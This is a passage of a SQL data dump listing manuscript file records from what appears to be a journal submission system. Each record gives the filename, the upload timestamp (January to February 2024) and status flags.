09:43:16',1,1,0),(39469,14500,'14500-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 09:49:42',1,1,0),(39470,14501,'14501-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 09:52:53',1,1,0),(39471,14502,'14502-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 09:55:08',1,1,0),(39472,14503,'14503-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 09:58:16',1,1,0),(39473,14504,'14504-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 10:01:56',1,1,0),(39474,14505,'14505-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 10:03:52',1,1,0),(39475,14506,'14506-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 10:06:58',1,1,0),(39476,14507,'14507-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 10:09:12',1,1,0),(39477,14508,'14508-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 10:11:36',1,1,0),(39478,14509,'14509-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 10:15:10',1,1,0),(39479,14510,'14510-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 10:17:46',1,1,0),(39480,14511,'14511-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 10:20:08',1,1,0),(39481,14512,'14512-0-Manuscript-2024-01-18.docx',NULL,'2024-01-18 10:21:58',1,1,0),(39482,14404,'14404-n6fp-Manuscript-proof-submission-2024-01-18.docx',NULL,'2024-01-18 10:23:48',1,3,0),(39483,14405,'14405-qn3r-Manuscript-proof-submission-2024-01-18.docx',NULL,'2024-01-18 10:24:12',1,3,0),(39484,14407,'14407-2fre-Manuscript-proof-submission-2024-01-18.docx',NULL,'2024-01-18 10:26:40',1,3,0),(39485,14495,'14495-43mi-Manuscript-proof-submission-2024-01-18.docx',NULL,'2024-01-18 10:42:38',1,3,0),(39486,13885,'13885-Manuscript-2024-01-18-ci4q-ipadm-23-13885.docx',NULL,'2024-01-18 11:24:50',1,3,0),(39487,13884,'13884-Manuscript-2024-01-18-bves-ipadm-23-13884.docx',NULL,'2024-01-18 11:26:24',1,3,0),(39488,13883,'13883-Manuscript-2024-01-18-r93l-ipadm-23-13883.docx',NULL,'2024-01-18 11:27:35',1,3,0),(39489,13882,'13882-Manuscript-2024-01-18-joa4-ipadm-23-13882.docx',NULL,'2024-01-18 11:28:34',1,3,0),(39490,14407,'14407-Manuscript-2024-01-18-s486-ipadm-24-14407.docx',NULL,'2024-01-18 11:29:31',1,3,0),(39491,14405,'14405-Manuscript-2024-01-18-3ul0-ipadm-24-14405.docx',NULL,'2024-01-18 11:30:37',1,3,0),(39492,14404,'14404-Manuscript-2024-01-18-c3sx-ipadm-24-14404.docx',NULL,'2024-01-18 11:31:52',1,3,0),(39493,14309,'14309-e32y-Manuscript-proof-submission-2024-01-18.rar',NULL,'2024-01-18 12:15:30',1,3,0),(39494,14401,'14401-Manuscript-2024-01-18-epbt-iphsj-24-14401.rar',NULL,'2024-01-18 13:31:26',1,3,0),(39495,14309,'14309-Manuscript-2024-01-18-gj0v-ap-team-revised.rar',NULL,'2024-01-18 13:50:17',1,3,0),(39496,14401,'14401-Manuscript-2024-01-18-cutk-graphic-completed.pdf',NULL,'2024-01-18 15:15:47',1,3,0),(39497,14309,'14309-Manuscript-2024-01-19-mkar.pdf',NULL,'2024-01-19 09:30:33',1,3,0),(39498,14403,'14403-wtqx-Manuscript-proof-submission-2024-01-19.docx',NULL,'2024-01-19 09:55:29',1,3,0),(39499,14403,'14403-kle3-Manuscript-proof-submission-2024-01-19.docx',NULL,'2024-01-19 09:55:32',1,3,0),(39500,14403,'14403-Manuscript-2024-01-19-oa58-ipadm-24-14403.docx',NULL,'2024-01-19 10:59:31',1,3,0),(39501,13885,'13885-Manuscript-2024-01-19-g7y1-graphic-completed.pdf',NULL,'2024-01-19 11:11:54',1,3,0),(39502,13884,'13884-Manuscript-2024-01-19-yrte-graphic-completed.pdf',NULL,'2024-01-19 11:22:05',1,3,0),(39503,13883,'13883-Manuscript-2024-01-19-6rni-graphic-completed.pdf',NULL,'2024-01-19 11:24:33',1,3,0),(39504,13882,'13882-Manuscript-2024-01-19-1njo-graphic-completed.pdf',NULL,'2024-01-19 11:25:59',1,3,0),(39505,13896,'13896-Manuscript-2024-01-19-c9r7-graphic-completed.pdf',NULL,'2024-01-19 11:27:39',1,3,0),(39506,14407,'14407-Manuscript-2024-01-19-xf0z-graphic-completed.pdf',NULL,'2024-01-19 11:29:51',1,3,0),(39507,14405,'14405-Manuscript-2024-01-19-rd4c-graphic-completed.pdf',NULL,'2024-01-19 11:31:11',1,3,0),(39508,14404,'14404-Manuscript-2024-01-19-8fj4-graphic-completed.pdf',NULL,'2024-01-19 11:32:13',1,3,0),(39509,14403,'14403-Manuscript-2024-01-19-r4en-graphic-completed.pdf',NULL,'2024-01-19 11:33:27',1,3,0),(39510,13885,'13885-Manuscript-2024-01-19-25al.pdf',NULL,'2024-01-19 11:40:30',1,3,0),(39511,13884,'13884-Manuscript-2024-01-19-uobw.pdf',NULL,'2024-01-19 11:43:24',1,3,0),(39512,13883,'13883-Manuscript-2024-01-19-0mve.pdf',NULL,'2024-01-19 15:03:21',1,3,0),(39513,13882,'13882-Manuscript-2024-01-19-ncw3.pdf',NULL,'2024-01-19 15:05:18',1,3,0),(39514,13896,'13896-Manuscript-2024-01-19-5yz2.pdf',NULL,'2024-01-19 15:06:53',1,3,0),(39515,14407,'14407-Manuscript-2024-01-19-vqu6.pdf',NULL,'2024-01-19 15:08:39',1,3,0),(39516,14405,'14405-Manuscript-2024-01-19-fktn.pdf',NULL,'2024-01-19 15:10:28',1,3,0),(39517,14404,'14404-Manuscript-2024-01-19-ki0l.pdf',NULL,'2024-01-19 15:14:32',1,3,0),(39518,14403,'14403-Manuscript-2024-01-19-fqu5.pdf',NULL,'2024-01-19 15:16:56',1,3,0),(39519,14386,'14386-mk0v-Manuscript-proof-submission-2024-01-20.rar',NULL,'2024-01-20 10:45:30',1,3,0),(39522,14270,'14270-qgro-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 10:23:01',1,3,0),(39523,14270,'14270-kiew-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 10:23:01',1,3,0),(39524,14271,'14271-1r7g-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 10:31:26',1,3,0),(39525,14271,'14271-fo7n-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 10:31:26',1,3,0),(39526,14272,'14272-m9l6-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 10:38:42',1,3,0),(39527,14272,'14272-2cem-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 10:38:42',1,3,0),(39528,14521,'12700-0-Manuscript-2022-03-31.docx','','2022-03-31 00:00:00',1,1,0),(39529,14521,'14521-Manuscript-2024-01-22-w4hn-qcfupteam-revised.docx',NULL,'2024-01-22 10:42:15',1,1,0),(39530,14435,'14435-13qp-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 11:04:04',1,3,0),(39531,14435,'14435-yq35-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 11:04:04',1,3,0),(39532,14436,'14436-6vwu-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 11:13:10',1,3,0),(39533,14436,'14436-luvq-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 11:13:11',1,3,0),(39534,14437,'14437-1wlf-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 11:25:03',1,3,0),(39535,14437,'14437-ftur-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 11:25:03',1,3,0),(39536,14438,'14438-kj2c-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 11:31:48',1,3,0),(39537,14438,'14438-7re1-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 11:31:48',1,3,0),(39538,14439,'14439-arvq-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 11:39:05',1,3,0),(39539,14439,'14439-9gc4-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 11:39:05',1,3,0),(39540,14442,'14442-bcj5-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 11:46:46',1,3,0),(39541,14442,'14442-2ajl-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 11:46:46',1,3,0),(39542,14443,'14443-uqn2-Manuscript-proof-submission-2024-01-22.docx',NULL,'2024-01-22 12:11:56',1,3,0),(39543,14443,'14443-1q6f-Manuscript-proof-submission-2024-01-22.pdf',NULL,'2024-01-22 12:11:56',1,3,0),(39544,14522,'14522-0-Manuscript-2024-01-22.docx',NULL,'2024-01-22 13:43:49',1,1,0),(39545,14399,'14399-x15y-Manuscript-proof-submission-2024-01-22.rar',NULL,'2024-01-22 14:55:34',1,3,0),(39546,14523,'14523-0-Manuscript-2024-01-22.docx',NULL,'2024-01-22 17:42:04',1,1,0),(39547,14386,'14386-Manuscript-2024-01-22-3pga-iphsj-24-14386.rar',NULL,'2024-01-22 18:00:09',1,3,0),(39548,14524,'14524-0-Manuscript-2024-01-22.docx',NULL,'2024-01-22 23:06:32',1,1,0),(39549,14524,'14524-1-Manuscript-2024-01-22.pdf',NULL,'2024-01-22 23:06:32',1,1,0),(39550,14524,'14524-2-Manuscript-2024-01-22.pdf',NULL,'2024-01-22 23:06:32',1,1,0),(39551,14524,'14524-3-Manuscript-2024-01-22.pdf',NULL,'2024-01-22 23:06:32',1,1,0),(39552,14524,'14524-4-Manuscript-2024-01-22.pdf',NULL,'2024-01-22 23:06:32',1,1,0),(39553,14525,'14525-0-Manuscript-2024-01-23.docx',NULL,'2024-01-23 11:33:27',1,1,0),(39554,14526,'14526-0-Manuscript-2024-01-23.docx',NULL,'2024-01-23 11:37:35',1,1,0),(39555,14527,'14527-0-Manuscript-2024-01-23.docx',NULL,'2024-01-23 11:47:45',1,1,0),(39556,14528,'14520-0-Manuscript-2024-01-22.docx','','2024-01-22 00:00:00',1,1,0),(39557,14386,'14386-Manuscript-2024-01-23-eujo-graphic-completed.pdf',NULL,'2024-01-23 17:05:51',1,3,0),(39558,14529,'14529-0-Manuscript-2024-01-24.pdf',NULL,'2024-01-24 09:39:43',1,1,0),(39559,14523,'14523-liv3-Manuscript-proof-submission-2024-01-24.rar',NULL,'2024-01-24 14:07:09',1,3,0),(39560,14525,'14525-ybn4-Manuscript-proof-submission-2024-01-24.rar',NULL,'2024-01-24 14:07:58',1,3,0),(39561,14526,'14526-xpbo-Manuscript-proof-submission-2024-01-24.rar',NULL,'2024-01-24 14:34:32',1,3,0),(39562,14340,'14340-kd2c-Manuscript-proof-submission-2024-01-24.docx',NULL,'2024-01-24 14:44:21',1,3,0),(39563,14340,'14340-zy1j-Manuscript-proof-submission-2024-01-24.pdf',NULL,'2024-01-24 14:44:21',1,3,0),(39564,14527,'14527-szp0-Manuscript-proof-submission-2024-01-24.rar',NULL,'2024-01-24 17:29:52',1,3,0),(39565,14399,'14399-Manuscript-2024-01-24-wemp-iphsj-24-14399.rar',NULL,'2024-01-24 17:58:49',1,3,0),(39566,14432,'14432-qlf5-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 12:59:36',1,3,0),(39567,14432,'14432-fb7r-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 12:59:36',1,3,0),(39568,14418,'14418-lji9-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 13:06:29',1,3,0),(39569,14418,'14418-atub-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 13:06:29',1,3,0),(39570,14427,'14427-0nyc-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 14:12:46',1,3,0),(39571,14427,'14427-q2sy-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 14:12:46',1,3,0),(39572,14430,'14430-5lef-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 14:14:06',1,3,0),(39573,14430,'14430-sex0-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 14:14:06',1,3,0),(39574,14433,'14433-dytl-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 14:25:04',1,3,0),(39575,14433,'14433-gwyu-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 14:25:04',1,3,0),(39576,14427,'14427-fihl-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 14:39:53',1,3,0),(39577,14427,'14427-vil4-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 14:39:53',1,3,0),(39578,14427,'14427-rw0g-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 14:39:59',1,3,0),(39579,14427,'14427-vso8-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 14:39:59',1,3,0),(39580,14430,'14430-unl0-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 14:57:36',1,3,0),(39581,14430,'14430-uaco-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 14:57:36',1,3,0),(39582,14430,'14430-syez-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 15:29:02',1,3,0),(39583,14430,'14430-15pk-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 15:29:02',1,3,0),(39584,14432,'14432-xank-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 15:38:14',1,3,0),(39585,14432,'14432-cbd7-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 15:38:14',1,3,0),(39586,14418,'14418-4ks8-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 15:45:54',1,3,0),(39587,14418,'14418-6x8q-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 15:45:54',1,3,0),(39588,14419,'14419-wozh-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 15:50:17',1,3,0),(39589,14419,'14419-ek4o-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 15:50:17',1,3,0),(39590,14420,'14420-njzf-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 15:52:09',1,3,0),(39591,14420,'14420-6e0m-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 15:52:09',1,3,0),(39592,14421,'14421-os4f-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 15:53:57',1,3,0),(39593,14421,'14421-a142-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 15:53:57',1,3,0),(39594,14422,'14422-bwyj-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 15:55:53',1,3,0),(39595,14422,'14422-aq4t-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 15:55:53',1,3,0),(39596,14433,'14433-t6rd-Manuscript-proof-submission-2024-01-25.docx',NULL,'2024-01-25 16:01:38',1,3,0),(39597,14433,'14433-1az5-Manuscript-proof-submission-2024-01-25.pdf',NULL,'2024-01-25 16:01:38',1,3,0),(39598,14399,'14399-Manuscript-2024-01-25-vo4x-graphic-completed.pdf',NULL,'2024-01-25 19:19:30',1,3,0),(39599,14523,'14523-Manuscript-2024-01-26-x5ia-iphsj-24-14523.rar',NULL,'2024-01-26 17:09:57',1,3,0),(39600,14525,'14525-Manuscript-2024-01-26-mxdl-iphsj-24-14525.rar',NULL,'2024-01-26 17:10:04',1,3,0),(39601,14527,'14527-Manuscript-2024-01-26-c5n2-iphsj-24-14527.rar',NULL,'2024-01-26 17:10:06',1,3,0),(39602,14526,'14526-Manuscript-2024-01-26-drmp-iphsj-24-14526.rar',NULL,'2024-01-26 17:10:14',1,3,0),(39603,14526,'14526-Manuscript-2024-01-27-8yek-graphic-completed.pdf',NULL,'2024-01-27 11:13:26',1,3,0),(39604,14527,'14527-Manuscript-2024-01-27-gr38-graphic-completed.pdf',NULL,'2024-01-27 11:13:34',1,3,0),(39605,14525,'14525-Manuscript-2024-01-27-ydpw-graphic-completed.pdf',NULL,'2024-01-27 11:13:42',1,3,0),(39606,14523,'14523-Manuscript-2024-01-27-ce7n-graphic-completed.pdf',NULL,'2024-01-27 11:13:50',1,3,0),(39622,14445,'14445-1f7g-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:42:21',1,3,0),(39623,14445,'14445-fs2z-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:42:22',1,3,0),(39624,14446,'14446-w3qs-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:44:07',1,3,0),(39625,14446,'14446-9yjd-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:44:07',1,3,0),(39626,14447,'14447-wn7z-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:46:09',1,3,0),(39627,14447,'14447-osyt-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:46:09',1,3,0),(39628,14449,'14449-dtpe-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:48:22',1,3,0),(39629,14449,'14449-b42f-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:48:22',1,3,0),(39630,14450,'14450-okl4-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:50:05',1,3,0),(39631,14450,'14450-7y0c-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:50:05',1,3,0),(39632,14451,'14451-ih5j-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:51:48',1,3,0),(39633,14451,'14451-rm1n-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:51:48',1,3,0),(39634,14451,'14451-tz4r-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:51:50',1,3,0),(39635,14451,'14451-caie-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:51:50',1,3,0),(39636,14452,'14452-rjhx-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:53:21',1,3,0),(39637,14452,'14452-qe6c-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:53:21',1,3,0),(39638,14453,'14453-absh-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:56:53',1,3,0),(39639,14453,'14453-xi45-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:56:53',1,3,0),(39640,14455,'14455-4g0o-Manuscript-proof-submission-2024-01-30.docx',NULL,'2024-01-30 11:58:28',1,3,0),(39641,14455,'14455-1w0i-Manuscript-proof-submission-2024-01-30.pdf',NULL,'2024-01-30 11:58:28',1,3,0),(39642,14540,'14540-0-Manuscript-2024-01-30.docx',NULL,'2024-01-30 19:06:22',1,1,0),(39643,14541,'14541-0-Manuscript-2024-01-30.docx',NULL,'2024-01-30 19:08:04',1,1,0),(39644,14542,'14542-0-Manuscript-2024-01-30.docx',NULL,'2024-01-30 19:14:28',1,1,0),(39645,14543,'14543-0-Manuscript-2024-01-30.docx',NULL,'2024-01-30 19:15:48',1,1,0),(39646,14544,'14544-0-Manuscript-2024-01-30.docx',NULL,'2024-01-30 19:17:08',1,1,0),(39647,14545,'14545-0-Manuscript-2024-01-31.docx',NULL,'2024-01-31 01:39:41',1,1,0),(39648,14409,'14409-uveg-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 15:40:28',1,3,0),(39649,14409,'14409-sjmc-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 15:40:28',1,3,0),(39650,14410,'14410-fe80-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 15:43:41',1,3,0),(39651,14410,'14410-5h02-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 15:43:41',1,3,0),(39652,14411,'14411-soty-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 15:48:51',1,3,0),(39653,14411,'14411-8f51-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 15:48:51',1,3,0),(39654,14412,'14412-deof-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 15:51:42',1,3,0),(39655,14412,'14412-tvig-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 15:51:42',1,3,0),(39656,14413,'14413-dkw8-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 15:54:04',1,3,0),(39657,14413,'14413-rsft-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 15:54:04',1,3,0),(39658,14414,'14414-tr17-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 15:56:45',1,3,0),(39659,14414,'14414-hum5-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 15:56:45',1,3,0),(39660,14415,'14415-6h5j-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 15:59:41',1,3,0),(39661,14415,'14415-udt6-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 15:59:41',1,3,0),(39662,14526,'14526-Manuscript-2024-01-31-57n3-graphic-completed.pdf',NULL,'2024-01-31 16:34:51',1,3,0),(39663,14527,'14527-Manuscript-2024-01-31-zd9l-graphic-completed.pdf',NULL,'2024-01-31 16:35:16',1,3,0),(39664,14525,'14525-Manuscript-2024-01-31-t6eb-graphic-completed.pdf',NULL,'2024-01-31 16:35:35',1,3,0),(39665,14523,'14523-Manuscript-2024-01-31-cemh-graphic-completed.pdf',NULL,'2024-01-31 16:35:49',1,3,0),(39666,14428,'14428-cxo5-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 16:37:51',1,3,0),(39667,14428,'14428-1enz-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 16:37:51',1,3,0),(39668,14431,'14431-chvs-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 16:41:45',1,3,0),(39669,14431,'14431-nymc-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 16:41:45',1,3,0),(39670,14429,'14429-v7k1-Manuscript-proof-submission-2024-01-31.docx',NULL,'2024-01-31 16:46:23',1,3,0),(39671,14429,'14429-hmv3-Manuscript-proof-submission-2024-01-31.pdf',NULL,'2024-01-31 16:46:23',1,3,0),(39672,14546,'14546-0-Manuscript-2024-02-01.docx',NULL,'2024-02-01 00:37:49',1,1,0),(39673,14400,'14400-ztfj-Manuscript-proof-submission-2024-02-01.pdf',NULL,'2024-02-01 17:46:23',1,3,0),(39674,14547,'14547-0-Manuscript-2024-02-02.docx',NULL,'2024-02-02 09:32:16',1,1,0),(39675,14400,'14400-Manuscript-2024-02-02-x3ph-ipaclr-24-14400.docx',NULL,'2024-02-02 10:36:27',1,3,0),(39676,14400,'14400-Manuscript-2024-02-02-btor-move-pdf-making.docx',NULL,'2024-02-02 11:45:11',1,3,0),(39677,14509,'14509-6lh9-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:36:38',1,3,0),(39678,14507,'14507-eldb-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:38:03',1,3,0),(39679,14507,'14507-kz20-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:38:03',1,3,0),(39680,14506,'14506-94jp-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:38:36',1,3,0),(39681,14506,'14506-5wrc-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:38:36',1,3,0),(39682,14504,'14504-2s5a-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:39:48',1,3,0),(39683,14504,'14504-1lcs-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:39:48',1,3,0),(39684,14503,'14503-4s7r-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:40:48',1,3,0),(39685,14503,'14503-ltwa-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:40:48',1,3,0),(39686,14502,'14502-2e6r-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:41:25',1,3,0),(39687,14502,'14502-b1aw-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:41:25',1,3,0),(39688,14501,'14501-b341-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:42:04',1,3,0),(39689,14501,'14501-7926-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:42:04',1,3,0),(39690,14501,'14501-mos5-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:42:35',1,3,0),(39691,14501,'14501-z78t-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:42:35',1,3,0),(39692,14500,'14500-db9g-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:43:12',1,3,0),(39693,14500,'14500-8ylk-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:43:12',1,3,0),(39694,14499,'14499-ewbh-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:43:45',1,3,0),(39695,14499,'14499-zoct-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:43:45',1,3,0),(39696,14505,'14505-9c2a-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 11:48:28',1,3,0),(39697,14505,'14505-cstl-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 11:48:28',1,3,0),(39698,14417,'14417-1r39-Manuscript-proof-submission-2024-02-03.docx',NULL,'2024-02-03 12:11:30',1,3,0),(39699,14417,'14417-7gzm-Manuscript-proof-submission-2024-02-03.pdf',NULL,'2024-02-03 12:11:30',1,3,0),(39700,14548,'14548-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 09:46:26',1,1,0),(39701,14549,'14549-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 09:51:56',1,1,0),(39702,14550,'14550-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 09:58:50',1,1,0),(39703,14551,'14551-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 10:17:30',1,1,0),(39704,14552,'14552-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 10:24:27',1,1,0),(39705,14485,'14485-2yo1-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 10:25:07',1,3,0),(39706,14485,'14485-ady6-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 10:25:07',1,3,0),(39707,14486,'14486-q6ny-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 10:26:43',1,3,0),(39708,14486,'14486-unwa-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 10:26:43',1,3,0),(39709,14553,'14553-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 10:41:39',1,1,0),(39710,14493,'14493-rvzf-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 10:54:44',1,3,0),(39711,14493,'14493-uf39-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 10:54:44',1,3,0),(39712,14492,'14492-nwph-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 10:56:02',1,3,0),(39713,14492,'14492-w2dy-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 10:56:02',1,3,0),(39714,14491,'14491-ih8x-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 10:56:43',1,3,0),(39715,14491,'14491-i5g4-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 10:56:44',1,3,0),(39716,14487,'14487-w7pe-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 10:57:59',1,3,0),(39717,14487,'14487-tn16-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 10:57:59',1,3,0),(39718,14488,'14488-tpc5-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 10:59:01',1,3,0),(39719,14488,'14488-4smu-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 10:59:01',1,3,0),(39720,14554,'14554-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 10:59:46',1,1,0),(39721,14489,'14489-9uwr-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 10:59:52',1,3,0),(39722,14489,'14489-5bk4-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 10:59:52',1,3,0),(39723,14521,'14521-ra73-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 11:12:35',1,3,0),(39724,14521,'14521-oiwf-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 11:12:35',1,3,0),(39725,14555,'14555-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 11:25:14',1,1,0),(39726,14556,'14556-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 11:29:18',1,1,0),(39727,14557,'14557-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 11:34:11',1,1,0),(39728,14558,'14558-0-Manuscript-2024-02-05.docx',NULL,'2024-02-05 11:35:58',1,1,0),(39729,14490,'14490-f8x0-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 11:41:17',1,3,0),(39730,14490,'14490-7u8w-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 11:41:17',1,3,0),(39731,14494,'14494-2udh-Manuscript-proof-submission-2024-02-05.docx',NULL,'2024-02-05 11:57:35',1,3,0),(39732,14494,'14494-frc8-Manuscript-proof-submission-2024-02-05.pdf',NULL,'2024-02-05 11:57:35',1,3,0),(39733,14478,'14478-67na-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 